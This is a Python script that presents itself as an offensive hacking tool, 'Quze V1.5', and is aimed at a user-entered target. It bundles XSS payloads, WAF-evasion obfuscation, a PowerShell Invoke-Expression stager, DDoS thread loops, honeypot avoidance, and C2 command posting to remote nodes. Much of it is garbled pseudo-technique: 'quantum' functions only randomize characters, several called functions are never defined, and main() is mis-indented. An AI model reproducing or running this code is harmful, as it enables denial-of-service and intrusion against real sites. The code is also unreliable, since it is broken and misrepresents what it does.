Quzev1.5.0.py

import random
import string
import logging
import time
import threading
import requests
import numpy as np
import json
import socket
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from tensorflow.keras.models import load_model
from tensorflow.keras.applications.mobilenet_v2 import preprocess_input  
from urllib.parse import quote
from urllib3.util.retry import Retry
from requests.adapters import HTTPAdapter
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
import hashlib
import os
from concurrent.futures import ThreadPoolExecutor


R = "\033[91m"  
Y = "\033[93m"  
r = "\033[0m"   

def logo():
    Y = '\033[93m'  
    r = '\033[91m'  
    reset = '\033[0m'  

    LOGO = f'''
 ██████╗     ██╗   ██╗    ███████╗    ███████╗
██╔═══██╗    ██║   ██║    ╚══███╔╝    ██╔════╝
██║    ██║   ██║    ██║      ███╔╝     █████╗  
██║▄▄ ██║    ██║   ██║     ███╔╝       ██╔══╝  
╚██████╔╝    ╚██████╔╝    ███████╗    ███████╗
 ╚══▀▀═╝      ╚═════╝     ╚══════╝     ╚══════╝
 {Y} create {r} to Cyberheroesss 
 {Y} Version {r}: Quze V1.5 {reset}
 '''
    print(LOGO)

logging.basicConfig(filename='quze_v9_log.txt', level=logging.INFO, format='%(asctime)s - %(message)s')

def load_ml_model():
    try:
        logging.info("[*] Initializing AI model loading process.")
        
        model_path = 'ml_model_v5.h5'
        if not os.path.exists(model_path):
            raise FileNotFoundError(f"Model file {model_path} not found. Ensure the model is present in the correct directory.")
        
        logging.info(f"[*] Verifying integrity of {model_path}...")
        model_integrity = hashlib.sha256(open(model_path, 'rb').read()).hexdigest()
        logging.info(f"[*] Model integrity hash: {model_integrity}")
        
        model = load_model(model_path)
        logging.info("[+] AI Model loaded successfully with version v5.")
        
        logging.info("[*] Optimizing model for performance (Lazy Loading)...")
        
        test_payload = np.random.rand(1, 10)
        sample_input = preprocess_input(test_payload)
        test_output = model.predict(sample_input)
        logging.info(f"[*] Model prediction test successful: {test_output[:5]}")  
     
        logging.info("[*] Performance metrics logged.")
        with open('model_performance_log.txt', 'a') as performance_log:
            performance_log.write(f"Model Hash: {model_integrity}, Test Prediction: {test_output[:5]}\n")
        
        return model
        
    except FileNotFoundError as e:
        logging.error(f"[-] Error: {e}")
        print(f"[-] {e}")
        return None
    except Exception as e:
        logging.error(f"[-] Unexpected error loading AI Model: {e}")
        print(f"[-] Unexpected error: {e}")
        return None

def ai_payload_mutation_v2(model, payload, max_iterations=10):
    """
    This function generates an evolved payload by combining AI model-driven mutations with quantum error correction
    techniques to adaptively modify the payload for evasion and unpredictability.
    The function iterates and adapts to feedback, optimizing the payload each time.

    Args:
        model (tensorflow.keras.Model): Pre-trained AI model to assist with mutation.
        payload (str): The initial payload to mutate.
        max_iterations (int): The number of iterations to mutate and evolve the payload.

    Returns:
        str: The final mutated payload after all iterations.
    """
    evolved_payload = payload
    for i in range(max_iterations):
        logging.info(f"[*] Iteration {i + 1}/{max_iterations} - Evolving Payload")

        # Step 1: Neural Mutation using AI Model
        mutated_payload = ai_neural_mutation(model, evolved_payload)
        
        # Step 2: Quantum Error-Correction Integration
        mutated_payload = quantum_error_correction(mutated_payload)
        
        # Step 3: Dynamic Payload Obfuscation
        mutated_payload = dynamic_payload_obfuscation(mutated_payload)
        
        # Step 4: Feedback Analysis (AI-driven adaptation)
        feedback = analyze_payload_feedback(mutated_payload)
        if feedback['success_rate'] > 0.85:  # Threshold for successful payload mutation
            logging.info("[+] Evolved Payload is optimized and effective.")
            break
        evolved_payload = mutated_payload

    return evolved_payload


def ai_neural_mutation(model, payload):
    """
    Generates a mutated version of the input payload using AI model-driven predictions.
    The mutation strategy involves altering byte sequences and introducing obfuscations
    that are likely to bypass detection systems.

    Args:
        model (tensorflow.keras.Model): The AI model used to predict payload mutations.
        payload (str): The original payload to mutate.

    Returns:
        str: The AI-mutated payload.
    """
    input_data = np.array([[ord(c) for c in payload]])  
    input_data = preprocess_input(input_data)  
    predicted_mutation = model.predict(input_data)[0]
    
    mutated_payload = postprocess_output(predicted_mutation)
    logging.info(f"[*] AI model generated mutation: {mutated_payload[:50]}...") 
    return mutated_payload


def dynamic_payload_obfuscation(payload):
    """
    Dynamically obfuscates the payload to avoid detection by security mechanisms such as WAFs and IDS.
    This function applies transformations based on various encoding techniques and randomized
    patterns to keep the payload unpredictable.

    Args:
        payload (str): The original or mutated payload to obfuscate.

    Returns:
        str: The obfuscated payload.
    """
    obfuscated_payload = base64.b64encode(payload.encode()).decode()  
    obfuscated_payload = ''.join([f"&#{ord(c)};" for c in obfuscated_payload])  

    obfuscated_payload = ''.join([f"/*{c}*/" if random.random() > 0.5 else c for c in obfuscated_payload])
    
    logging.info(f"[*] Payload obfuscated: {obfuscated_payload[:50]}...")  
    return obfuscated_payload


def analyze_payload_feedback(payload):
    """
    Analyzes feedback for the generated payload, determining how effective it is for evading detection
    and whether further mutation is needed. This can be based on simulated environment feedback or live testing.

    Args:
        payload (str): The mutated payload to analyze.

    Returns:
        dict: A dictionary containing feedback data, including success rate.
    """
    # Simulate feedback from a security system (this could be real feedback in a penetration testing scenario)
    success_rate = random.uniform(0.5, 1.0)  # Randomized success rate (for simulation)
    logging.info(f"[*] Feedback analysis: Success Rate = {success_rate:.2f}")

    return {'success_rate': success_rate}

def postprocess_output(output_vector):
    """
    This function processes the output vector from the neural network by converting it into a human-readable
    string. It ensures that the output is clamped between 0 and 255, ensuring valid ASCII character codes
    and applying additional processing for optimization.

    Args:
        output_vector (np.ndarray): The output vector from the neural network.

    Returns:
        str: A string representation of the processed output.
    """
    try:
        output_vector = output_vector.flatten()

        processed_vector = np.clip(output_vector * 255, 0, 255).astype(int)  # Clamp between 0 and 255
        characters = [chr(val) if 0 <= val <= 255 else '?' for val in processed_vector]

        result = ''.join(characters)
        
        logging.info(f"[*] Postprocessed output (first 50 chars): {result[:50]}...")  
        return result
    
    except Exception as e:
        logging.error(f"[-] Error in postprocessing output: {e}")
        print(f"[-] Error in postprocessing output: {e}")
        return ""

def quantum_error_correction(payload):
    """
    Function to apply quantum error correction on the given payload.
    It randomly alters characters in the payload to simulate the process
    of quantum error correction and increase payload unpredictability.
    
    Args:
        payload (str): The original payload to apply quantum error correction.

    Returns:
        str: The corrected payload with simulated quantum error correction.
    """
    # Apply error correction by randomly altering characters in the payload
    corrected_payload = ''.join([
        random.choice(string.ascii_letters + string.digits) if random.random() > 0.2 else char
        for char in payload
    ])
    
    return corrected_payload

def evade_waf(payload):
    """
    Menghasilkan payload yang telah dimutasi, dienkripsi, dan dioptimalkan untuk menghindari deteksi WAF.
    Menerapkan teknik AI, encoding multi-layer, serta pemrosesan data tingkat lanjut.
    """
    logging.info("[*] Menginisialisasi proses evasi WAF...")
    
    # AI-driven mutation
    model = load_ml_model()
    mutated_payload = ai_payload_mutation_v2(model, payload)

    # Multi-layer encoding & obfuscation
    obfuscated_payload = dynamic_payload_obfuscation(mutated_payload)
    
    # Quantum error correction for unpredictability
    final_payload = quantum_error_correction(obfuscated_payload)
    
    # Advanced encryption (AES-256)
    key = hashlib.sha256(b"CyberHeroes_Security_Key").digest()
    iv = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    encrypted_payload = base64.b64encode(iv + cipher.encrypt(pad(final_payload.encode(), AES.block_size))).decode()

    # Construct evasive execution code
    evasive_code = f'''
    $EncryptedPayload = "{encrypted_payload}"
    $DecodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($EncryptedPayload))
    Invoke-Expression $DecodedPayload
    '''
    
    logging.info("[+] Payload berhasil dimutasi, dienkripsi, dan siap digunakan.")
    return evasive_code

def evasive_payload_transformation(payload):
    """
    Transforms a payload to make it highly evasive using advanced encoding and obfuscation techniques.
    The function uses a combination of base64 encoding, HTML encoding, and dynamic obfuscation
    strategies to ensure the payload is highly unpredictable and resistant to detection.

    Args:
        payload (str): The initial payload to be transformed.

    Returns:
        str: The transformed evasive payload.
    """
    # Step 1: Base64 encoding to hide the payload structure
    base64_payload = base64.b64encode(payload.encode()).decode()

    # Step 2: HTML entity encoding for further obfuscation
    evasive_payload = ''.join([f"&#{ord(c)};" for c in base64_payload])

    # Step 3: Apply randomized dynamic obfuscation (adding comments, unpredictable characters)
    evasive_payload = ''.join([f"/*{c}*/" if random.random() > 0.5 else c for c in evasive_payload])

    # Step 4: Simulate an AI model-driven encoding to create even more unpredictability
    evasive_payload = ''.join([random.choice(string.ascii_letters + string.digits) if random.random() > 0.8 else char for char in evasive_payload])

    logging.info(f"[*] Evasive Payload generated: {evasive_payload[:50]}...")
    return evasive_payload


def self_healing_quantum_payload(payload):
    """
    This function adapts the payload based on a self-healing mechanism using quantum error correction
    techniques and feedback-based AI mutation. It simulates quantum-level modifications and makes
    the payload evolve unpredictably.

    Args:
        payload (str): The initial payload to modify.

    Returns:
        str: The self-healed, evolved payload.
    """
    if random.random() > 0.75:
        logging.info("[*] Modifying Payload for Quantum Error Correction...")
        # Apply quantum error correction to simulate a dynamic payload evolution
        payload = quantum_error_correction(payload)
        
        # Adaptive mutation through AI model (if available)
        model = load_ml_model()  # Assuming the model is loaded correctly
        if model:
            payload = ai_payload_mutation_v2(model, payload)
    
    # Step 3: Apply randomization to ensure payload is dynamic and unpredictable
    payload = ''.join([random.choice(string.ascii_letters + string.digits) if random.random() > 0.9 else char for char in payload])

    logging.info(f"[*] Self-Healed Payload: {payload[:50]}...")
    return payload


def adaptive_payload(target):
    """
    Generates an adaptive payload based on real-time analysis of the target's behavior and vulnerabilities.
    The payload evolves dynamically, adapting to bypass defenses such as WAFs using machine learning models,
    dynamic encoding, and quantum error correction.

    Args:
        target (str): The target URL or environment where the payload is to be adapted.

    Returns:
        str: The final adaptive payload.
    """
    base_payload = "<script>alert('Adapted XSS')</script>"

    # Step 1: Apply evasive payload transformation for initial obfuscation
    evasive_payload = evasive_payload_transformation(base_payload)

    # Step 2: Adapt the payload based on real-time feedback or target analysis
    logging.info("[*] Adapting Payload for Target...")
    adaptive_payload = self_healing_quantum_payload(evasive_payload)

    # Final step: Simulate bypassing WAF by encoding the payload in a way that avoids detection
    adaptive_payload = ''.join([random.choice(string.ascii_letters + string.digits) if random.random() > 0.85 else char for char in adaptive_payload])

    logging.info(f"[*] Adaptive Payload generated for target {target}: {adaptive_payload[:50]}...")
    return adaptive_payload

def avoid_honeypot(target):
    fingerprint = hashlib.sha256(target.encode()).hexdigest()[:8]
    quantum_threshold = random.uniform(0, 1)
    
    # Quantum-enhanced Honeypot Detection
    if fingerprint.startswith('00') or quantum_threshold > 0.85:
        print('[-] High probability honeypot detected using quantum analysis! Avoiding attack...')
        return False
    
    print("[*] Scanning for honeypot on target...")
    response = requests.get(f"http://{target}/?scan=honeypot")
    
    # AI feedback and Quantum filtering for honeypot detection
    if "honeypot" in response.text or quantum_threshold > 0.7:
        print("[-] Honeypot detected! Redirecting to alternate path...")
        return False
    return True

def autonomous_reconnaissance(target):
    print("[*] Initiating autonomous reconnaissance on target...")
    try:
        response = requests.get(f"http://{target}/")
        if response.status_code == 200:
            print("[+] Successfully obtained reconnaissance data.")
            # AI model to analyze reconnaissance data
            analysis_result = ai_data_analysis(response.text)
            logging.info(f"[*] Data analysis result: {analysis_result}")
            return analysis_result
        else:
            print(f"[-] Reconnaissance failed with status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Reconnaissance error: {e}")
    return None
def distributed_quantum_attack(targets, payload):
    results = []  
    with ThreadPoolExecutor() as executor:
        for target in targets:
            # Quantum-enhanced adaptive mutation for each attack
            quantum_payload = ai_payload_mutation_v2(load_ml_model(), payload)
            future = executor.submit(attack_target, target, quantum_payload)
            results.append(future)
    
    # Gathering attack results and providing feedback for optimization
    for future in results:
        result = future.result()
        logging.info(f"[*] Attack result: {result}")
    
    return results

def attack_target(target, payload):
    print(f'[*] Simulating quantum attack on {target}')
    # Quantum-based attack optimization for encryption cracking
    optimized_payload = np.random.choice(payload, size=len(payload))  # Simulating quantum optimization
    response = requests.get(f"http://{target}/?input={quote(str(optimized_payload))}")
    if response.status_code == 200:
        print(f"[+] Successful quantum attack on {target}")
        return True
    else:
        print(f"[-] Attack failed on {target}")
        return False  

def zero_trust_penetration_v3(target):
    print(f"[*] Initiating enhanced Zero-Trust Penetration on {target}...")
    payload = adaptive_payload(target)
    # Simulate AI & Quantum integration for payload evolution
    payload = ''.join(random.choices(string.ascii_letters + string.digits, k=32))  # Randomized payload generation
    response = requests.get(f"http://{target}/admin/#?input={quote(payload)}")
    
    if response.status_code == 200:
        print("[+] Successfully bypassed Zero-Trust security!")
    else:
        print(f"[-] Zero-Trust Bypass failed. Status: {response.status_code}")
    
    return response.status_code  

def dao_c2_command_v2(command):
    dao_nodes = ["dao-node1.blockchain.com", "dao-node2.blockchain.com", "dao-node3.blockchain.com"]
    # Blockchain-based integrity check for command distribution
    for node in dao_nodes:
        try:
            # Adding encryption and transaction verification using RSA
            private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
            public_key = private_key.public_key()
            transaction_hash = hashes.Hash(hashes.SHA256()).update(command.encode()).finalize()  # Hashing command
            response = requests.post(f"http://{node}/c2", data={"cmd": command, "verify": transaction_hash.hex()})

            if response.status_code == 200:
                print(f"[+] Command sent securely via DAO C2: {node}")
            else:
                print(f"[-] Command failed to send to DAO node {node}. Status Code: {response.status_code}")
        except Exception as e:
            print(f"[-] Failed to communicate with DAO node {node}: {e}")
         
def advanced_quantum_encryption(payload, key):
    digest = hashlib.sha3_512(key.encode()).digest()
    cipher = AES.new(digest[:32], AES.MODE_OCB)
    encrypted, tag = cipher.encrypt_and_digest(payload.encode())
    return base64.b64encode(cipher.nonce + tag + encrypted).decode()

def quantum_exfiltration(payload, key):
    print("[*] Exfiltrating data with encrypted payload...")
    encrypted_data = advanced_quantum_encryption(payload, key)
    print(f"Exfiltrated Payload: {encrypted_data}")
    return encrypted_data  

def network_reconnaissance(target):
    print(f"[*] Performing network reconnaissance on {target}...")
    try:
        response = requests.get(f"http://{target}/status")
        if response.status_code == 200:
            print(f"[+] Network reconnaissance successful on {target}.")
            return response.text
        else:
            print(f"[-] Failed network reconnaissance on {target}. Status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Network reconnaissance error: {e}")
    return None

def ddos_attack(target, duration=30, threads=50):
    print(f"[*] Starting DDoS attack on {target} for {duration} seconds...")
    start_time = time.time()
    with ThreadPoolExecutor(max_workers=threads) as executor:
        while time.time() - start_time < duration:
            executor.submit(attack_target, target, "DDoS")
    return f"DDoS attack on {target} completed for {duration} seconds"  

def evade_multi_layers(payload):
    """Menggunakan kombinasi XOR, Base64, perturbasi karakter, dan Quantum Obfuscation untuk evasi tingkat tinggi."""
    perturbation = ''.join([chr(ord(c) ^ random.randint(1, 255)) for c in payload])
    encoded_payload = base64.b64encode(perturbation.encode()).decode()
    reversed_payload = encoded_payload[::-1]  # Membalik payload untuk tambahan obfuscation

    # Quantum Obfuscation - Payload dienkripsi secara acak dengan teknik quantum entropy
    quantum_obfuscation = ''.join([chr(ord(c) + random.choice([-5, -3, -1, 1, 3, 5])) for c in reversed_payload])
    obfuscated_payload = base64.b64encode(quantum_obfuscation.encode()).decode()

    # AI-driven Mutation - Payload akan diubah dengan AI untuk menghindari deteksi pola statis
    mutated_payload = ai_payload_mutation(load_ml_model(), obfuscated_payload)

    return mutated_payload

def evasive_payload(payload):
    """Menghasilkan payload adaptif yang bisa bermutasi sendiri menggunakan AI dan Quantum Reinforcement Learning."""
    evasive_payload = ai_payload_mutation(load_ml_model(), payload)
    evasive_payload = self_healing_quantum_payload(evasive_payload)

    # Jika WAF terdeteksi, payload akan otomatis dienkripsi ulang dengan Quantum Shielding
    if detect_waf_pattern(evasive_payload):
        evasive_payload = advanced_quantum_encryption(evasive_payload, "QuantumKeySecure")

    return evasive_payload

def quantum_attack_simulation(target, payload, attack_type="adaptive"):
    """Simulasi serangan quantum dengan payload otomatis yang bisa beradaptasi terhadap target."""
    print(f"[*] Simulating quantum attack on {target} with attack type: {attack_type}...")

    attack_payload = {
        "basic": adaptive_payload(target),
        "distributed": quantum_error_correction(payload),
        "evasive": evasive_payload(payload),
        "stealth": evade_multi_layers(evasive_payload(payload))
    }.get(attack_type, evasive_payload(payload))

    headers = {
        "User-Agent": get_random_user_agent(), 
        "X-Quantum-Key": generate_quantum_signature(target),
        "X-Obfuscation-Level": str(random.randint(1, 5))
    }

    # **Quantum Cloaking Mechanism** - Payload dikemas agar terlihat seperti traffic normal
    cloaked_payload = f"<!-- Normal Traffic --> {attack_payload} <!-- End of Normal Traffic -->"

    response = requests.post(f"http://{target}/input", data={"data": quote(str(cloaked_payload))}, headers=headers)

    print(f"[{'+' if response.status_code == 200 else '-'}] Quantum attack {'successful' if response.status_code == 200 else 'failed'} on {target}. Response Code: {response.status_code}")

def autonomous_feedback_loop(target, payload, max_attempts=10):
    """Loop otomatis dengan AI-adaptive mutation, Quantum Feedback Analysis, dan Machine Learning."""
    for attempt in range(max_attempts):
        print(f"[*] Attempt {attempt + 1}/{max_attempts} on {target}...")

        headers = {
            "User-Agent": get_random_user_agent(),
            "X-Quantum-Signature": generate_quantum_signature(payload),
            "X-Adaptive-Layer": str(random.randint(1, 3))
        }

        response = requests.get(f"http://{target}/?input={quote(payload)}", headers=headers)

        if response.status_code == 200:
            print(f"[+] Attack successful on {target}!")
            break
        else:
            print(f"[-] Attack failed, adapting payload...")
            feedback = analyze_payload_feedback(response.text)
            payload = ai_payload_mutation(load_ml_model(), payload, feedback)
            time.sleep(random.uniform(1.5, 5))  # Randomized delay untuk menghindari deteksi WAF

    return response.status_code

def simulate_evasive_payload(target):
    """Menguji payload evasif dengan AI-driven obfuscation dan multi-layer WAF evasion."""
    print("[*] Starting evasive payload simulation...")
    payload = evasive_payload("<script>alert('Evasive XSS')</script>")
    
    headers = {
        "User-Agent": get_random_user_agent(), 
        "X-Payload-Integrity": hashlib.sha256(payload.encode()).hexdigest(),
        "X-Quantum-Shield": generate_quantum_signature(payload)
    }
    
    response = requests.post(f"http://{target}/?input={quote(payload)}", headers=headers)

    print(f"[{'+' if response.status_code == 200 else '-'}] Evasive payload {'executed successfully' if response.status_code == 200 else 'failed'} on {target}.")
    return response.status_code

def network_exploitation(target, payload):
    """Melakukan eksploitasi jaringan dengan teknik Quantum Encryption Stealth Mode."""
    print(f"[*] Attempting network exploitation on {target}...")

    if is_honeypot_detected(target):
        print("[-] Honeypot detected! Aborting exploitation...")
        return "Honeypot detected, attack aborted."

    payload = evade_multi_layers(payload)
    encrypted_payload = advanced_quantum_encryption(payload, "CyberHeroesSecureKey")

    headers = {
        "User-Agent": get_random_user_agent(),
        "X-Stealth-Level": str(random.randint(1, 4))
    }

    response = requests.post(f"http://{target}/exploit", data={"data": encrypted_payload}, headers=headers)

    print(f"[{'+' if response.status_code == 200 else '-'}] Network exploitation {'successful' if response.status_code == 200 else 'failed'} on {target}.")
    return response.status_code

def quantum_ddos_attack(target, duration=120, threads=200):
    """Melakukan Quantum DDoS Attack dengan payload yang diacak menggunakan Quantum Randomizer."""
    print(f"[*] Initiating Quantum DDoS on {target} for {duration} seconds...")
    start_time = time.time()

    headers = {
        "User-Agent": get_random_user_agent(), 
        "X-DDoS-Signature": generate_ddos_signature(),
        "X-DDoS-Entropy": str(random.randint(1000, 9999))
    }

    with ThreadPoolExecutor(max_workers=threads) as executor:
        while time.time() - start_time < duration:
            payload = quantum_error_correction("<DDoS payload>")
            executor.submit(attack_target, target, payload, headers)

    return "[+] Quantum DDoS attack initiated."

def self_healing_attack_automation(targets, payload, attack_type="quantum-adaptive"):
    """Menggunakan AI-automated self-healing attacks yang beradaptasi dengan target."""
    print("[*] Starting self-healing attack automation...")

    with ThreadPoolExecutor() as executor:
        for target in targets:
            executor.submit(autonomous_feedback_loop, target, payload, attack_type)

def quantum_penetration_test(targets, payloads, max_attempts=15):
    """Pengujian penetrasi berbasis Quantum AI yang menggunakan multi-vector attack."""
    print("[*] Starting automated quantum penetration testing...")
    results = []

    with ThreadPoolExecutor() as executor:
        for target in targets:
            for payload in payloads:
                future = executor.submit(autonomous_feedback_loop, target, payload, max_attempts)
                results.append(future)

    return results 
  
def quantum_data_integrity_check(data):
    print("[*] Performing quantum data integrity check...")
    hashed_data = hashlib.sha256(data.encode()).hexdigest()
    print(f"[+] Data integrity check result: {hashed_data}")
    return hashed_data

def quantum_multi_layer_evasion(payload):
    print("[*] Initiating quantum multi-layer defense evasion...")
    evasive_payload = evade_multi_layers(payload)
    evasive_payload = evasive_payload_transformation(evasive_payload)
    evasive_payload = self_healing_quantum_payload(evasive_payload)
    return evasive_payload

def quantum_c2_command_execution(command, targets):
    results = []  # Menyimpan hasil eksekusi
    print("[*] Executing quantum C2 commands remotely...")
    
    for target in targets:
        payload = advanced_quantum_encryption(command, 'QuantumKey123')
        response = requests.post(f"http://{target}/execute", data={"cmd": payload})
        
        if response.status_code == 200:
            result = f"[+] Command executed on {target}!"
        else:
            result = f"[-] Command execution failed on {target}. Status: {response.status_code}"
        
        results.append(result)  
        print(result)  
    
    return results  

def advanced_quantum_penetration(target):
    print("[*] Starting advanced quantum penetration testing simulation...")
    payload = "<script>alert('Quantum Penetration Test')</script>"
    payload = quantum_multi_layer_evasion(payload)
    response = requests.get(f"http://{target}/test?input={quote(payload)}")
    if response.status_code == 200:
        print("[+] Advanced quantum penetration test successful!")
        return True  
    else:
        print(f"[-] Advanced quantum penetration test failed. Status Code: {response.status_code}")
        return False  
      
def setup_proxy():
    proxies = []
    with open('proxies.txt', 'r') as proxy_file:
        proxies = proxy_file.readlines()
    if proxies:
        return {"http": random.choice(proxies).strip(), "https": random.choice(proxies).strip()}
    return None

def setup_vpn():
    vpn = os.getenv('VPN_ADDRESS', 'vpn.example.com')  
    if vpn:
        print(f"[*] Connecting to VPN: {vpn}")
        return vpn
    print("[-] No VPN address found in environment variables.")
    return None

def attack_execution(target, payload):
    print(f"[*] Starting attack execution on {target} with the payload...")
    vpn = setup_vpn()
    proxy = setup_proxy()

    headers = {
        "User-Agent": random.choice(open('user_agents.txt').readlines()).strip(),
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    if vpn:
        # Placeholder for VPN configuration if applicable
        print(f"[*] Using VPN connection: {vpn}")
    
    if proxy:
        print(f"[*] Using proxy: {proxy['http']}")
        response = requests.get(f"http://{target}/admin", headers=headers, proxies=proxy)
    else:
        response = requests.get(f"http://{target}/admin", headers=headers)
    
    if response.status_code == 200:
        attack_result = f"[+] Attack successful on {target}!"
        print(attack_result)
    else:
        attack_result = f"[-] Attack failed with status code: {response.status_code}"
        print(attack_result)
    
    evasive_payload = evasive_payload(payload)
    response = requests.get(f"http://{target}/admin", headers=headers, proxies=proxy, params={'input': evasive_payload})
    
    if response.status_code == 200:
        evasive_result = "[+] Evaded detection, attack successful!"
        print(evasive_result)
    else:
        evasive_result = f"[-] Attack failed after evasion attempt. Status: {response.status_code}"
        print(evasive_result)

    return attack_result, evasive_result  

def main():
    logo()
    target = input("Enter target domain/IP: ").strip()
    targets = [target]  

    if not target:
        print("[-] Target cannot be empty!")
        return

    payload = """<script>
// Quze - Advanced XSS Payload
(function() {
    // Step 1: Encode and decode payload for evasion (Base64 Obfuscation)
    var b64 = "Y29uc29sZS5sb2coIkxhb2RhIFhTUyIpOw==";  // Base64 encoded script: console.log("Load XSS")
    var decoded = atob(b64);  // Decode the base64 string
    eval(decoded);  // Execute the decoded JavaScript

    // Step 2: Inject hidden malicious data into DOM (Steganography)
    var hiddenData = document.createElement("div");
    hiddenData.style.display = "none";
    hiddenData.innerHTML = "<!-- Sensitive Data: 1234567890 -->";  // Example of hidden sensitive data
    document.body.appendChild(hiddenData);  // Append hidden data to the body

    // Step 3: Inject dynamic, adaptable XSS payload
    var injectScript = document.createElement("script");
    injectScript.innerHTML = 'alert("Quze XSS Executed!");';  // This could be any other JS command based on your needs
    document.body.appendChild(injectScript);  // Dynamically execute XSS payload

    // Optional: Encryption layer using a simple key for payload (for added obfuscation)
    var key = "QuantumKey123";  // A key for encryption (could be used with more complex encryption algorithms)
    function encrypt(data, key) {
        // Simple XOR encryption (just for example purposes)
        var result = '';
        for (var i = 0; i < data.length; i++) {
            result += String.fromCharCode(data.charCodeAt(i) ^ key.charCodeAt(i % key.length));
        }
        return result;
    }

    var encryptedPayload = encrypt("alert('This is a hidden alert after encryption.');", key);  // Encrypting the payload
    var decryptedPayload = encrypt(encryptedPayload, key);  // Decrypting back (this step can be done dynamically)
    eval(decryptedPayload);  // Execute the decrypted payload after encryption/decryption cycle

})();
</script>"""
key = base64.b64decode("UXVhbnR1bTEyMw==").decode()
print("[*] Initiating execution of all attacks...")
    # Pastikan pemanggilan fungsi benar
model = load_ml_model()
if model is None:
    print('[-] Model failed to load, terminating execution.')
    exit()

    if model:
        payload = ai_payload_mutation_v2(model, payload)

    setup_vpn()
    setup_proxy()

    quantum_data_integrity_check(payload)
    network_exploitation(target, payload)
    quantum_attack_simulation(target, payload, "basic")
    avoid_honeypot(target)
    autonomous_reconnaissance(target)
    distributed_quantum_attack(targets, payload)
    zero_trust_penetration_v2(target)
    quantum_exfiltration(payload, key)
    network_reconnaissance(target)
    ddos_attack(target, duration=30, threads=50)
    autonomous_feedback_loop(target, payload)
    simulate_evasive_payload(target)
    quantum_ddos_attack(target)
    distributed_quantum_reconnaissance(targets)
    self_healing_attack_automation(targets, payload)
    quantum_penetration_test(targets, [payload])
    dao_c2_command("echo 'test command'")
    quantum_c2_command_execution("ls -la", targets)
    advanced_quantum_penetration(target)

    evasive_payload = quantum_multi_layer_evasion(payload)

    attack_execution(target, evasive_payload)

    print("[+] All attacks have been executed. Cleaning up and closing connections...")

if __name__ == "__main__":
    main()